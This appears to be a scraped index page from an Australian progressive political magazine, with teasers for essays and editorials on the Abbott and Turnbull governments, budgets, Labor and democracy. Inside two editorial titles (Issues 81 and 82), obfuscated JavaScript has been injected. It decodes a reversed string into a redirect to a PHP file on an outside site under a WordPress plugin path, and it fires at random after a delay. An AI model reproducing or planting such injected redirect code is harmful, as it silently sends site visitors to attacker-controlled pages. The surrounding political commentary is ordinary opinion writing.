Social policy -post Abbott

Social policy -post Abbott Ben Spies-Butcher Tony Abbott’s departure as Prime Minister led many Australians to draw a sigh of relief. The first Abbott-Hockey Budget represented an unprecedented attack upon Australia’s system of social protection, more so even than the first Howard-Costello Budget. Fending off many of these attacks is an important win, but there is little evidence the Coalition Government has genuinely changed track....

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Canadian Election Shows Neoliberals CAN be Defeated

  Canadian Election Shows Neoliberals CAN be Defeated Jim Stanford Australian progressive movements are busy preparing for a federal election that will be a crucial marker for many core issues: climate, jobs, inequality, fair taxation, globalization, and more. The re-election of the Turnbull government, which has kept intact the harsh agenda of Tony Abbott but put a new face on it, would mark a setback for all of these campaigns. Yet while...

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Policies for a class war? Editorial Issue no 83

Policies for a class war? Editorial Issue no 83

The double dissolution election is contrived if not confected. The legislative business that was so important to need a special sitting of Parliament lasted one day. When the Senate rejected the Australian Building and Construction Commission (ABCC) Bill, the government did not even put its Registered Organisations Bill to the vote. The ABCC Bill is shocking. As Tom McDonald, former ACTU Vice-President says in SEARCH News, it violates the UN...

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Editorial No 82: Malcolm Turnbull and the politics of climate change

Editorial No 82:  Malcolm Turnbull $cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and the politics of climate change

Malcolm Turnbull and the politics of climate change   In late September, 54 members of the Liberal Party Parliamentary Caucus voted for Malcolm Turnbull to become their leader; 44 voted for Tony Abbott, the incumbent. Consequently, Malcolm Turnbull replaced Tony Abbott as the Prime Minister of Australia. From the outside, it appeared that Tony Abbott was despatched with some alacrity and a degree of aplomb but with significant dismay within...

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Harold Levien on Housing

Solving the Housing Problem in Australia Harold Levien The Abbott Government’s economic policy has aggravated Australia’s serious housing problem. The Reserve Bank Governor recently explained the Bank’s repeated interest rate reductions attempted to stimulate the depressed economy. He suggested the Government could borrow at record low interest rates to expand infrastructure spending, which has dramatically fallen since coming to Office,...

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John Langmore on Labor Values

Re-imagining Labor’s Vision for a Flourishing Australia[1] John Langmore   The ALP was established ‘to create a better, fairer life for working people’.  From this foundation Labor’s values, policy and practice have evolved and expanded in response to national and international political, social, economic and cultural forces.  The Party has been a predominantly pragmatic organisation led by practical people committed to a more...

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Frank Stilwell on the The UK Election

THE UK ELECTION: reflections on a tarnished Tory Triumph   Frank Stilwell reports from the UK on the General Election on 8th May that, surprising most pundits and deeply disappointing Labour supporters, gave renewed momentum to the Conservative party.     It was interesting to be in the UK for the general election during May of this year. British governments get a 5-year term, so whoever wins stays in office for a substantially...

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Max Ogden on the ALP & Social Democracy

The ALP Is Not Social Democratic but Should Be Max Ogden   The ALP is not a social democratic party. As the moves for party reform gather momentum, the party’s history and identity needs to be better understood since these make change difficult. The Australian Labor Party, and others of the English speaking countries, are better described as labourist, compared with the social democratic parties such as those in Germany, Sweden, Finland,...

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Vale Joan Kirner

Vale Joan Kirner   Claire Moore   There have been many public statements about the life and achievements of Joan Kirner…daughter, sister, teacher, partner, mother, environment activist, politician, minister, premier, feminist, rock icon….she made a real difference, and influenced lives and policy.   At her beautiful memorial service at the wonderful Williamstown Town Hall, which she loved dearly and was the scene of many...

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Editorial Issue No 81: The Scandal of Unemployment

Editorial Issue No 81: The Sc$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andal of Unemployment

The Federal Budget and the scandal of unemployment   All budgets are essentially fictions as they are based upon projections about an unknowable future: annual rates of GDP growth, levels of taxation revenue, iron ore prices etc. Yet the budgets delivered by this government are beginning to feel more like an episode of Game of Thrones than a credible economic exercise, so divorced are their stated justifications and underlying assumptions...

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Editorial Issue No 80 Renewing Australia’s politics

Editorial Issue No 80 Renewing Australia’s politics

Renewing Australia's politics   The neoliberal pipedream of a Free Market Nirvana is in trouble, even on its own terms. The unfettered free market does not deliver social justice or ecological sustainability – but then it was never supposed to. The neoliberal project was fundamentally about reducing the space for politics - making 'dollar votes' in the market more important than the electoral votes of citizens.   Despite the failures...

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Editorial Issue 79 – The state in the states

Editorial  Issue 79 – The state in the states

The State in the States   An ALP Government was elected in Victoria in November 2013. Elections are due in NSW and Queensland in early 2014. The result in Victoria, where a first-term Coalition Government was replaced, has alarmed the Federal Abbott Government and raised Labor hopes. Change of government seems unlikely in either NSW or Queensland, although Premier Newman might lose his own seat.   Electoral frissons aside, State...

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A Question of Political Will

A Question of Political Will Jenny McAllister In 2006, Sheri Berman put the case that “the ideology that triumphed in the twentieth century was not liberalism… it was social democracy.” As the Abbott Government commences a full scale assault on the social democratic institutions which have defined Australian national life, Berman’s bullish assessment provokes the obvious counterpoint – Ah yes, but what of the 21st century? For the...

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Editorial Issue 78 The unseemly rush to a war without end

Editorial Issue 78 The unseemly rush to a war without end

The unseemly rush to a war without end   Once again, we rush to war in the wake of a Great Power – all too early, too easy, too eager, too unheeding of the lessons of previous interventions in the Middle East.   The irony is seemingly lost on Tony Abbott and his ministers that those earlier interventions bear a large share of responsibility for the situation we now have. Those who will not learn from history are condemned to repeat...

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The need for politics? An Australian Options forum

The need for politics? An Australian Options forum Right-wing libertarians have no need for politics, as they believe that the invisible hand of the market ensures the best outcomes. Political deliberations and collective activities interfere with the magic of the market. Hence, they condemn unions, denigrate politics and demand the removal of regulatory institutions and deliberative decision-making. They portray mass democracy as the enemy of...

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The contempt for democratic politics

The contempt for democratic politics Geoff Dow Currently social transfer expenditures (welfare benefits, in-kind support and tax concessions) in OECD countries amount to 22 per cent of GDP; in 1974 the figure was 17.5 per cent. So, almost a quarter of all income now accrues to citizens as the result of political decisions, unrelated to individual contributions or work effort. The level has increased since the beginning of the twentieth century....

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People in Power: Democratic ways to combat Climate Change

People in Power: Democratic ways to combat Climate Change Kathryn Ridge Fifteen years ago, Bob Carr introduced the world's first emissions reduction scheme. Since, then Australians have endured 15 years of virtual inaction on climate change. Political leaders who supported serious action to combat climate change exited the stage. Renewable energy targets, cap and trade markets and voluntary models whirl around in a confusing chaos of claim and...

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Regaining Democracy

Regaining Democracy Howard Guille The level of trust in political processes and politicians is falling and this eases the way for those who want to 'roll back government'. At the same time, initiatives to extend democracy have slowed if not gone into reverse.  Progressives need to combat this by renewing their thinking about and advocacy of democracy. We need to be speaking up for more representative and accountable political institutions...

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Can Democracy in Europe Still be Salvaged

Can Democracy in Europe Still be Salvaged; Gaps in Trade Union Strategy Looking at Germany we are struck by the low level of importance that the trade union milieu has given to the crisis-dominated European developments. The European crisis and the far-reaching economic, social, and political dislocations that neoliberal austerity policy has unleashed appears from those employed in Germany as problems occurring far away. It is seen as the crisis...

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Europe Has a Different Future

Europe Has a Different Future A Europe of solidarity can only be constructed from below, with the movements and citizens' initiatives, trade unions, social associations, and left parties coordinating their work. Local resistance is important; we have to set more in motion. In this, internationalism and transnational solidarity must be a given for left parties, trade unions, and all progressive forces and be translated into concepts and practical...

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Treasury and the Budget: is there an Alternative?

Treasury and the Budget: is there an Alternative?   Geoff Dow   Liberals do not know as much as they think they do about how capitalist economies operate. Nor do they care as much as non-liberals about some of the problems – unemployment, structural change and crisis – that recurrently plague capitalist economies. These are the outcome of interplay between long-standing institutional biases and prevailing intellectual conditions.   The...

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The Coalition budget and the feminisation of austerity

The Coalition budget and the feminisation of austerity   Mark Dean   The Coalition Government’s budget represents a feminisation of austerity that will impact women most of all, and particularly so in disadvantaged urban settings.   The extreme economy of austerity urbanism Contemporary life in many disadvantaged areas in Australia and much of the developed world is a lived reality of ‘extreme economy’. In urban areas, neoliberalism...

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Editorial Issue 77 The 2014 Budget; how to be cruel to be unkind

Editorial Issue 77 The 2014 Budget; how to be cruel to be unkind

The first budget of the Abbott-led Coalition will be remembered for its politics and not its economics. Despite very loud rhetoric about debt and deficit, the macroeconomic settings left by Labor are little changed. The last Swan budget of 2013 forecast a budget deficit of A$18 billion in 2013-14, moving to a surplus in 2015-16. The Hockey budget of 2014 shows a deficit $29.8 billion for this year with the move to surplus being put back to...

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